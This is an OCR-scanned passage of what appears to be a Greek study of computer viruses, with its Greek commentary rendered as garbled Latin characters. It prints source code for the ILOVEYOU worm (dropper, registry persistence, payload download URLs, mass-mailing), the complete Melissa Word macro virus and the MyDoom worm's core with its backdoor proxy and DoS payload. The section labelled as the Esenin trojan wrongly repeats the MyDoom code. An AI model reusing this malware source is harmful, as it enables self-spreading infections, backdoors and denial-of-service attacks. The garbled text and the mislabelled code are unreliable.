"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else

regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if

next
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Set out=Nothing
Set mapi=Nothing
end sub

sub html

On Error Resume Next

dim lines,n,dtal,dta2,dt1,dt2,dt3,dt4,11,dt5,dt6

dtal="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META

NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META

NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?

@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrif& _ "<META

NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good... @-@ >"&vbcrif&

"< ?-?HEAD><BODY

ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-
YOU.HTM#

-#,#-#main#-#)@-@ "&vbcrif& _

"ONKEYDOWN=@-@window.name=#-#main#-#,window.open(#-#LOVE-LETTER-FOR-
YOU.HTM#

-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-
@>"&vbcrif& _

"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML
file<BR>-

Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrif& _

"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@

BGCOLOR=@-@yellow@-@>---------- Zmm e e Zmmmmmmm——— <?-?MARQUEE>
"&vbcrif& _

"<?-?BODY><?-?HTML>"&vbcrif& _

"<SCRIPT language=@-@JScript@-@ >"&vbcrif& _ "<I--?-??-?"&vbcrif& _

"if (window.screen){var wi=screen.availWidth;var

hi=screen.availHeight; window.moveTo(0,0);window.resizeTo(wi, hi); } "&vbcrif& _ "?-??-7--
>"&vbcrif& _

"<?-?SCRIPT>"&vbcrif& _

"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrif& _ "<!--"&vbcrif& _

"on error resume next"&vbcrif& _

"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrif& _ "aw=1"&vbcrif& _

"code="

dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrif& _

"set dirsystem=fso.GetSpecialFolder(1)"&vbcrif& _

"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrif& _

"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrif& _

"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrif& _ "set

wri=fso.CreateTextFile(dirsystem&@-@-~"MSKernel32.vbs@-@)"&vbcrif& _ "wri.write
code4"&vbcrif&

"wri.close"&vbcrif& _

"if (fso.FileExists(dirsystem&@-@"-~"MSKernel32.vbs@-@)) then"&vbcrif& _ "if
(err.number=424)

then"&vbcrif& _

"aw=0"&vbcrif& _

"end if"&vbcrif& _

"if (aw=1) then"&vbcrif& _

"document.write @-@ERROR: can#-#t initialize ActiveX@-@ "&vbcrif& _
"window.close"&vbcrif& _

"end if"&vbcrif& _

"end if"&vbcrif& _
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"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrif& _

"regedit.RegWrite

@-@HKEY_LOCAL_MACHINEN-~Software”™-~Microsoft™-"Windows”-"~CurrentVersion”-
ARun”™-~"MSKernel32@-@,dirsystem&@-@"-"~"MSKernel32.vbs@-@"&vbcrif& _ "?-??-?--
>"&vbcrilf& _

"< ?-?SCRIPT>"

dtl=replace(dtal,chr(35)&chr(45)&chr(35),""")

dtl=replace(dtl,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dtl,chr(63)&chr(45)&chr(63),"/")

dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")

dt2=replace(dta2,chr(35)&chr(45)&chr(35),"")

dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")

dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

set fso=CreateObject("Scripting.FileSystemQObject")

set c=fso.0OpenTextFile(WScript.ScriptFullName, 1)

lines=Split(c.ReadAll,vbcrif)

/1=ubound(lines)

for n=0 to ubound(lines)

lines(n)=replace(lines(n),""",chr(91)+chr(45)+chr(91))

lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (I1=n) then

lines(n)=chr(34)+lines(n)+chr(34)

else

lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrif& _" end if

next

set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close

set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5

d.write join(lines,vbcrif)

d.write vbcrlf

d.write dt6

d.close

end sub
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3.2.3 AvdaAuvon nnyaiou k®dika

Mpappeg 15-18

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\
Microsoft\Windows Scripting Host\Settings\
Timeout")

if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\
Microsoft\Windows Scripting Host\Settings\
Timeout",0,"REG_DWORD"
end if

Edw BAEnoupe To Npoypaupa va npoonabei va diaBacel ano Tn registry (oTnv
NpokelYevn nepintTwaon, Mpoonabei va diaBacel Tn AeEn "Timeout").

MeTa ano auTtn Tn AsiToupyia Tou diaBAaocuaTog, To Npoypapua dokiyadlel va
ENIOTPEWEI TNV TIUN KAl BACIOUEVO OTO ANOTEAECHA, va AAAA&el TNV TIUAR OTN
registry.

ﬁﬂtﬂegishy Editar ;Iglil
Eile  Edit Wiew Favortes Help
+- [ Visual Basic ;I Mame Type Data
23 YMRCClient (Default) REG_SZ (value not set)
+ [ waB [ Tim eout | REG_DWORD 00000000 (0)
+- 23 Windows
i vs Genuine &dvantage

(23 Windows Seript Host J
3 Settings
22 winmine

+-[21 Minnetonka Audio Softwvars

+- 0 Mozilla -
ﬁ L TR Y] .
4| I_»l_I 4| |

| Wy Com puteryHKEY_CURRENT_USER\Software\Microseft\Windows Script Host\Settings

a =

BAEnoupe €edw TNV TIPN nou dnuioUpynoe oTn Registry.
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Fpappeg 23-25

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

ESdw BAENOUPE OTI TO NPOYPAUMA YPAPElI 3 apxeid OTOUG PAKEAOUG TOU
ouoTnuaTog. MpooegTe eniong Nwg ovopadlovTal Ta 2 NpwTa apxeia.
"MSKernel32.vbs" kal "Win32DLL.vbs". Mpogpavwg npoonabei va nepacouv
anapartnpnTa ano To XpnoTn...

- B
I system3z SNACIN X
Fil=  Edit Yiew Favontzs Tools  Help #
G Back = __/,u - ﬁ- y ) Search Falders El'
Address |25 C\WINDOWS \system 32 | B s
(@] o d m
pubprnahs dsound.exd lagin.cmd
I [ 3
- ‘J 3
ustlogan.cmd YWiew Channels crmlibowse
<> = =
————— i [
atifilf.m MEKermel32 vhbs -
2items selected
Tatal File Size: 116 Intes
2 clyjects selected 116 bytes j Wy Com puter
e

BA€noupe €dw Ta apxeia nou dnuioUPyNOE OTO PAKEAO TOU CUCTHNATOC.
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Fpappeg 34-35

regcreate "HKEY _LOCAL_MACHINE\Software\
Microsoft\Windows\CurrentVersion\Run\MSKernel32",
dirsystem&"\MSKernel32.vbs"
regcreate "HKEY _LOCAL_MACHINE\Software\
Microsoft\Windows\CurrentVersion\RunServices\
Win32DLL", dirwin&"\Win32DLL.vbs"

MapepnINTOVTWG, To NPOypappa BEAEl va Eekivael o€ kABe €i0000 TOU XpnaoTn,
ondTe €10Ayel TOV €aUTO Tou oTnVv neploxn "Run" Tng registry.

55 Registry Editor =10 I
Eile  Ecit View Faventes Help

+- [0 RenameFiles

N

Mame Type | Data
b SKernel32 REG_SZ dirsystem &"MSKernel3 Zubs"

~l
—
§ o o
«| | » ‘| | »

|fv1}-' Computer\HEEY_LOCAL_MACHIMNENS OFTWARE M croscftWindaows\CurrentVersion \Run 4
55 Registry Editor =10l |
Eile  Edit View Favortes Help

[ Run- ;I Marm e Type D ata |

[ RunCnee |jDefaL|Itj| REG_57 (walue naot set)

[ RunOnecebx "."."inSEDLL REG_SZ clirwin&"Win320DLL vhs"

: ] =
+[0 Setup

3 SharedDlls -
“ | | »
‘M'_-,-‘ Com puterHEEY_LOCAL MACHIME\S OFTWARE \MicrosoftyWindowsh CurrentVersion RunSerdices S

BAEnoupe €dw Ta KA€IOIG Nou €xel dONUIOUPYNOEI OTN registry.

Fpappn 41
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then .....

Edw, eAEyxel kaTad nd6oo To cUoTNUa apxeiwv xpnoldonolsi To FAT32 format.
MNarti; AnAouoTaTa, €nsidn OAa Ta NpoypapuaTa ynopouv va ypaywouv o FAT32
partitions. Ae xpeialeoal 101aiTepa dIKAIWUATA YiA va YpAWEIG o€ auTo. AG
€€nynooupe Twpa yiaTi 0Aa Ta cuotnuaTa NT avd Tov KOOHO, aKOuda
xpnaoigonolouv FAT yia Tov dioko TOU ouoTANATOC. Eneidn dev pnopeic eUKoAa
va €nIOKEUAoeIC To (KaAUTepo, aAAd noAunAokoTepo) NTFS format av xaAdaoel.
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Fpaupeg 42-52

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page”, "http://www.skyinet.net/~youngls/HIKhjnwerhjkxcvytwertnMTFwetrdsf
mhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page", "http://www.skyinet.net/~angelcat/skladjflfdjghKinwetryDGFikjUIyqwer
We546786324hjk4jnHHGbvbmKLIKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page", "http://www.skyinet.net/~koichi/jf6 TRjkcbGRpGqaq198vbFV5hfFEkbopB
dQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page"”, "http://www.skyinet.net/~chu/sdgfhjksdfjkINBmnfgkKLHjkgwtuHIBhAFS
DGjkhYUgqgwerasdjhPhjasfdglkNBhbgwebmznxcbvnmadshfggw237461234iuy 7t
hjg/WIN-BUGSFIX.exe"

Baoiopévo o€ pia Tuxaia Tign HETA&U og 1 kai 4, aAAalel TNV apxikn
oeAida Tou Internet Explorer.

Internet Properties X

General Security | Privacy | Content | Connections | Programs | Adwanced

Haorme page
/‘ To create home page kabs, bype each address an its own line.
L] A
L mxclvnmacdshfogee 237481230y Tthjo WIR-BLIGSFI exe »
| Ilze default | | Iz blank, |

Mapatnpoupe €dw TNV aAAayr TNG apXIkng ogAidac.
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Fpappeg 70-125

H ouvaptnon infectfiles(), nou kaAeital oTn ypaupn 132, npoonabsi va
MOAUVEI Ta apxeia Tou cuoTnuaToc. MoAuvel VisualBasic, Javascript,
WindowShell, Jpeg, MP3, MP2, akoua kai To mIRC (Internet Relay Chat) setup.
AuTO onuaivel 0TI 6a npenel va €EeTaoceic OAa oou Ta dedopeva yia Tov KwOIKa.
Mnopei va XpelaoTei va KAveTe enava@opa ano To backup nou Ba &npene va
EXETE KAVEL...

Mpaupeg 164-200

H ouvapTtnon spreadtoemail(), nou kaAeitar oTn ypauun 28. MNa kabe
dieuBbuvon oTo E-mail address book, dnuioupyei kal oTEAvel €va e-mail
ouvanrtovTac Tov 16 (ypapupn 187) npiv To oteiAel (ypappun 188.)

ano Tov 10 IloveYou
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= [LOVEYOU - Message (Rich Text e =18 =|

File Edit View Insert Format Tools Achions Help

yReply | @oRephtodl | (BForwerd & T | ¥ | Y X »
From: Senk:

To:

Ce:
Subfeck:  ILOVEVOU

=
kindly check the attached LOVELETTER coming fram me
LOVE-LETTER-FOR-
YOULTAT vhs
z

Kar edw BAEnoupe To e-mail pye To ouvvnuevo VBScript.

Fpapueg 201-274

H ouvaptnon html(), kaAeiTal otn ypapun 27, akpiBwg npiv Tn
spreadtoemail. AuTo To KOPATI Tou Kwdika, dnuioupyei yia HTML oeAida, nou
Ba nepiexel To VBscript (222-242). AuTo T0 script 6a npoonabnoel va ypayel
Eava oTo dioko. AKpIBWG ONWC OTIC YPAUMEG 23-25, avTiypdgel Tov KwdIKa
OTOUG (PAKEAOUC OUOTNHATOC. To KUpIoTEPO NpoBAnua €dw €ival n “Tpuna” nou
EKMETAAAEUETAI 0 10C. To VB scripting oTic HTML ogAidec Ba €npene va
anayopeueTal.

3.2.4 AvriueTwnion Tou iou IloveYou

H Microsoft oTic 7 Iouviou 2000 £ByaAe evnuepwHEVN €kOOON ACPAAEIAg
yia Ta Outlook 98 kai 2000, n onoia napexel NnpooTacia and TOUC NEPICTOTEPOUC
10UG, onwc o 16¢ ILOVEYOU kal o 10¢ Melissa, kaBwc kar and aAAouc 10U¢ nou
eEanAwvovTal JEow NAEKTPOVIKOU Taxudpoueiou r anod 1o0U¢ TUNOU worm rnou
gival duvaTtod va avanapaxbouv peow Tou Outlook. ®povTioTe va kpaTaTe
evnuepwuevo To Outlook ) va xpnoigonolgite AAAO Npoypaupa yia Ta e-mail
0ag, To onoio va gival niod acPaAeg.
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NMnyaiol KWOIKEC NPOoG MeAETN

www.fudge.cz
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4.1 Melissa (macro virus)
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4.1.1 Mepiypa@n iou

O 16¢ Melissa €kave Tnv gugpavion Tou Tnv MNapaokeun 26 MapTtiou 1999
Kal ynopeoe va 01adobei g OAOKANPO TOV KOOHUO HECA OE HEPIKEC WPEC —KATI
nou O¢gv €ixe &avaoupPei pexpl TOTE. EEaNAwBONKE Pe TO va OTEAVElI AUTONATA O€
e-mail Tov eauTd Tou ano Tov €va XpnoTn oTtov aAAo. ‘'OTav o 10¢ evepyonoinoei
TPOMOMOIEl Ta €yypa@a Tou XpnoTn napepBAaAlovtac kanoia oxOAla anod pia
yvwoTn TnAsonTikn osipd (“The Simpsons”). AvnouxnTiKO €ival TO YEYOovOG OTI
MMOpEi va OTeIAEl Kal EUNICTEUTIKEG NMANPOPOPIEC EVOC XPNOTN O €vav ailro. O
10G “XTUNNOE"” JEYAAOUG opyaviououg onwg n Microsoft kai n Intel - n Microsoft
MAAIOTa avaykaoTnke va KAeiosl TeAeiwg TO oUOTNNA  NAEKTPOVIKOU
Taxudpopeiou TNG Yid va OTAPATACEl TNV NEPeTAipw €EANAwon Tou 1ou. O
Melissa apxikd HeTadobnke oe @oOpoup oulnThoewv (alt.sex). O 106G €0TAAN
OTOUG XpnoTec pe To ovoua LIST.DOC nou nepieixe kwdikoUc npodéofaong ano
I0TOOEAIOEC Nou €ixav xapakTtnpioTei X-rated (ogEouaAikoU nepiexopévou). ‘OTav
KANOoIOG AVOIYE TO APXEi0, O PaKPO-10G eKTEAEITO kal €oTeAve To LIST.DOC pe
email og 50 atopa and To address book Tou xproTn.
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4.1.2 lNnyaiog K@WdIKAg

Private Sub Document_Open()

On Error Resume Next

If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else

CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

X =1

Set BreakUmOffASlice = UngaDasOutlook.Createltem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

X=x+1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\",
"Melissa?") = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VvBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then ADI1.CodeModule.DeletelLines 1, ADCL

Set Tolnfect = ADI1

ADI1.Name = "Melissa"

DoAD = True
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End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set Tolnfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DONT <> True And DoAD <> True Then GoTo CYA

If DONT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.Deletelines 1

Loop

Tolnfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
Tolnfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1

Loop

End If

If DOAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1

Loop

Tolnfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
Tolnfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

Elself (InStr(1, ActiveDocument.Name, "Document") <> False) Then

ActiveDocument.Saved = True

End If

'WORD/Melissa written by Kwyjibo

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-

score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
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4.2 MyDoom (e-mail worm)
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4.2.1 Mepiypa@n 1ou

O 16¢ MyDoom-Novarg ouvexw¢ noAAanAaocialetar orto AladikTuo, HId
napaAAayn Tou, o MyDoom.B avapéveral va €niteBei kal otov AikTuako Tono
TNG Microsoft. EkTipaTal ot ennpeace nepinou 250.000 unoAoyIoTEC O€ Wia JOVO
nuépa.

O 16¢ kaTapOAavel WC CUVNUUEVO APXEIO KAl AV aVOIXTEI OTEAVEI unvuparta rnou
Tov noAAanAacialouv npo¢ KaBe kaTeuBuvon, enITPENOVTAC nNapdAAnAa Tnv
npooBacn oToV UMOAOYIOTH MOU TOV (PIANOEEVEI.

O 10¢ eykaBioTaral oTov UMOAOYIOTN KAl EMITPENElI TOV €€ ANOOTACEWG EAEYXO
TOU MNXAvAMATOC. 2KOonoG Tou IoU e€ivar va dnuioupynoel DoS (Denial of
Service, dnAadn nauon AsIToupyiag) oToug eEuUNNPETNTEC TNG eTalpeiac SCO kal
TNG Microsoft pe nuepounvia evap&nc anootoAwv Tnv 1n-12n ®eBpouapiou.

To MEXP!I Twpa KOOTOC TOU IoU Yyia TIG ERIXEIPNOEIC nou dpaaTnplonolouvTal
OTO XWPO TNC NANPOPOPIKNG EKTINATAI 0Ta 250 ekaToupupia doAdpia, oUppwva
HMe To CNN.
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4.2.2 lNnyaioc Kwdikag

#define WIN32_LEAN_AND_MEAN

#include

#include

#include "lib.h"

#include "massmail.h"

#include "scan.h"

#include "sco.h"

#include "xproxy/xproxy.inc"

const char szWhoami[] = "(sync.c,v 0.1 2004/01/xx xx:xx:xx andy)";
/*p2p.c ¥/

void p2p_spread(void);

struct sync_t {

int first_run;

DWORD start_tick;

char xproxy_path[MAX_PATH];

int xproxy_state; /* O=unknown, 1=installed, 2=loaded */
char sync_instpath[MAX_PATH];

SYSTEMTIME sco_date;

SYSTEMTIME termdate;

}

void decryptl_to_file(const unsigned char *src, int src_size, HANDLE hDest)
{

unsigned char k, buf[1024];

int i, buf_i;

DWORD dw;

for (i=0,buf_i=0,k=0xC7; i if (buf_i >= sizeof(buf)) {
WriteFile(hDest, buf, buf_i, &dw, NULL);

buf i = 0;

}

buf{buf_i++] = src[i] ™ k;

k=(k+3*(i % 133)) & OxFF;

}

if (buf_i) WriteFile(hDest, buf, buf i, &dw, NULL);
}

void payload_xproxy(struct sync_t *sync)

{

char fname[20], fpath[MAX_PATH+20];

HANDLE hFile;

inti;

rot13(fname, "fuvztncv.qyy"),; /* "shimgapi.dil" */
sync->xproxy_state = 0;

for (i=0; i<2; i++) {

if (i==20)
GetSystemDirectory(fpath, sizeof(fpath));
else

GetTempPath(sizeof(fpath), fpath);

if (fpath[0] == 0) continue;

if (fpath[lstrien(fpath)-1] = "\\') Istrcat(fpath, "\\");

Istrcat(fpath, fname);

hFile = CreateFile(fpath, GENERIC_WRITE, FILE SHARE_READ|FILE_SHARE WRITE,
NULL, CREATE_ALWAYS, FILE_ ATTRIBUTE_NORMAL, NULL);

if (hFile == NULL || hFile == INVALID HANDLE_VALUE) {
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if (GetFileAttributes(fpath) == INVALID FILE ATTRIBUTES)

continue;

sync->xproxy_state = 2;

Istrcpy(sync->xproxy_path, fpath);

break;

}

decryptl_to_file(xproxy_data, sizeof(xproxy_data), hFile);

CloseHandle(hFile),;

sync->xproxy_state = 1;

Istrcpy(sync->xproxy_path, fpath);

break;

}

if (sync->xproxy_state ==1) {

LoadlLibrary(sync->xproxy_path);

sync->xproxy_state = 2;

}

}

void sync_check_frun(struct sync_t *sync)

{

HKEY k;

DWORD disp;

char i, tmp[128];

/* "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDIg32\\Version" */
rotl13(tmp, "Fbsgjner\\Zvpebfbsg\\Jvagbjf\\PheeraglIrefvba\\Rkcybere\\PbzQyt32\\Irefvba"),
sync->first_run = 0;

for (i=0; i<2; i++)

if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
tmp, 0, KEY_READ, &k) == 0) {

RegCloseKey(k);

return;

}

sync->first_run = 1;

for (i=0; i<2; i++)

if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)

RegCloseKey(k);

}

int sync_mutex(struct sync_t *sync)

{

char tmp[64];

rotl13(tmp, "FjroFvcpFzgkF0"); /* "SwebSipcSmtxS0" */
CreateMutex(NULL, TRUE, tmp);

return (GetLastError() == ERROR_ALREADY _EXISTS) ? 1 : 0,
}

void sync_install(struct sync_t *sync)

{

char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH];
HANDLE hFile;

inti;

rotl3(fname, "gnfxzba.rkr"); /* "taskmon.exe" */
GetModuleFileName(NULL, selfpath, MAX_PATH),
Istrcpy(sync->sync_instpath, selfpath);

for (i=0; i<2; i++) {

if (i==0)
GetSystembDirectory(fpath, sizeof(fpath));
else

GetTempPath(sizeof(fpath), fpath),;
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if (fpath[0] == 0) continue;

if (fpath[lIstrlen(fpath)-1] != "\\") Istrcat(fpath, "\\");
Istrcat(fpath, fname);

SetFileAttributes(fpath, FILE ATTRIBUTE_ARCHIVE);

hFile = CreateFile(fpath, GENERIC_WRITE, FILE SHARE READ|FILE SHARE WRITE,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID HANDLE VALUE) {
if (GetFileAttributes(fpath) == INVALID FILE ATTRIBUTES)
continue;

Istrcpy(sync->sync_instpath, fpath);

break;

}

CloseHandle(hFile),;

DeleteFile(fpath),;

if (CopyfFile(selfpath, fpath, FALSE) == 0) continue;
Istrcpy(sync->sync_instpath, fpath);

break;

}

}

void sync_startup(struct sync_t *sync)

{

HKEY k;

char regpath[128];

char valname[32];

/* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
rotl3(regpath, "Fbsgjner\\Zvpebfbsg\\Jvagbjf\\Pheeraglrefvba\\Eha");
rotl3(valname, "Gnfxzba"); /* "TaskMon" */

if (RegOpenKeyEx(HKEY _LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) = 0)
if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) = 0)
return;

RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, Istrlen(sync-
>sync_instpath)+1);

RegCloseKey(k),;

}

int sync_checktime(struct sync_t *sync)

{

FILETIME ft_cur, ft_final;

GetSystemTimeAsFileTime(&ft_cur),;
SystemTimeToFileTime(&sync->termdate, &ft_final);

if (ft_cur.dwHighDateTime > ft_final.dwHighDateTime) return 1;

if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return O,

if (ft_cur.dwLowDateTime > ft_final.dwLowDateTime) return 1;

return 0;

void payload_sco(struct sync_t *sync)

{

FILETIME ft_cur, ft_final;

/* What's the bug about "75% failures"? */
GetSystemTimeAsFileTime(&ft_cur);
SystemTimeToFileTime(&sync->sco_date, &ft_final),;

if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;
/* here is another bug.

actually, the idea was to create a new thread and return; */
for (;;) {

scodos_main();

Sleep(1024);
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}

}

DWORD _stdcall sync_visual _th(LPVOID pv)

{

PROCESS_INFORMATION pi;

STARTUPINFO si;

char cmd[256], tmp[MAX_PATH], buf[512];

HANDLE hFile;

inti, j;

DWORD dw;

tmp[0] = 0;

GetTempPath(MAX_PATH, tmp);

if (tmp[0] == 0) goto ex;

if (tmp[istrien(tmp)-1] = "\\") Istrcat(tmp, "\\");
Istrcat(tmp, "Message”);

hFile = CreateFile(tmp, GENERIC_READ|GENERIC_WRITE, FILE_ SHARE _READ|
FILE SHARE _WRITE,

NULL, CREATE_ALWAYS, FILE_ ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID HANDLE_VALUE) goto ex;
for (i=0, j=0; i < 4096, i++) {

if (j >= (sizeof(buf)-4)) {

WriteFile(hFile, buf, sizeof(buf), &dw, NULL);

J=0;

}

if ((xrand16() % 76) ==0) {

buf[j++] = 13,

buf[j++] = 10,

t}else {

buffj++] = (16 + (xrand16() % 239)) & OxFF;

}

}

if (j) WriteFile(hFile, buf, j, &dw, NULL),
CloseHandle(hFile),;

wsprintf(cmd, "notepad %s", tmp);
memset(&si, '\0', sizeof(si)),;

si.cb = sizeof(si);

si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;

if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
goto ex;

WaitForSingleObject(pi.hProcess, INFINITE),
CloseHandle(pi.hProcess);

ex: if (tmp[0]) DeleteFile(tmp),;
ExitThread(0);

return 0;

}

void sync_main(struct sync_t *sync)

{

DWORD tid,;

sync->start_tick = GetTickCount(),
sync_check_frun(sync);

if (Isync->first_run)

if (sync_mutex(sync)) return;

if (sync->first_run)

CreateThread(0, 0, sync_visual_th, NULL, 0, &tid);
payload_xproxy(sync);

if (sync_checktime(sync)) return;
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sync_install(sync);

sync_startup(sync),

payload_sco(sync);

p2p_spread();

massmail_init();

CreateThread(0, 0, massmail_main_th, NULL, 0, &tid);
scan_init();

for (;;) {

scan_main();

Sleep(1024);

;

}
/* shit, MSVC inlined it to WinMain... I didn't expect. */

static void wsa_init(void)

{

WSADATA wsadata,; /* useless shit... */
WSAStartup(MAKEWORD(2,0), &wsadata);

}
int _stdcall WinMain(HINSTANCE hiInst, HINSTANCE hPrevinst, LPSTR IpCmd, int nCmdShow)

{

static const SYSTEMTIME termdate = { 2004,2,0,12, 2,28,57 };
static const SYSTEMTIME sco_date = { 2004,2,0, 1, 16, 9,18 };
struct sync_t syncO;

xrand_init();

wsa_init();

memset(&sync0, '\0', sizeof(sync0)),

syncO.termdate = termdate;

sync0.sco_date = sco_date;

sync_main(&sync0);

ExitProcess(0);

}
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4.3 Esenin (trojan)
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4.3.1 Mepiypan 100

O povadikog trojan nou Bpnkaue ypaupevo oe C. Agv Kavel TinoTa
neEPICCOTEPO anod To va aAAalel To wallpaper Tou xpnoTn kabe 100
deuTepOAENTA, META anod pia eBdopada and Tn oTiyun nou 6a npooBAAAel To
ouoTnua.
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4.3.2 lNnyaiog kK@WdIKaAg

#define WIN32_LEAN_AND_MEAN
#include

#include

#include "lib.h"

#include "massmail.h"

#include "scan.h"

#include "sco.h"

#include "xproxy/xproxy.inc"

U

const char szWhoami[] = "(sync.c,v 0.1 2004/01/xx xx:xx:xx andy)";

/¥ p2p.c ¥/
void p2p_spread(void);

struct sync_t {

int first_run;

DWORD start_tick;

char xproxy_path[MAX_PATH];

int xproxy_state; /* O=unknown, 1=installed, 2=Iloaded */
char sync_instpath[MAX_PATH];

SYSTEMTIME sco_date;

SYSTEMTIME termdate;

3}

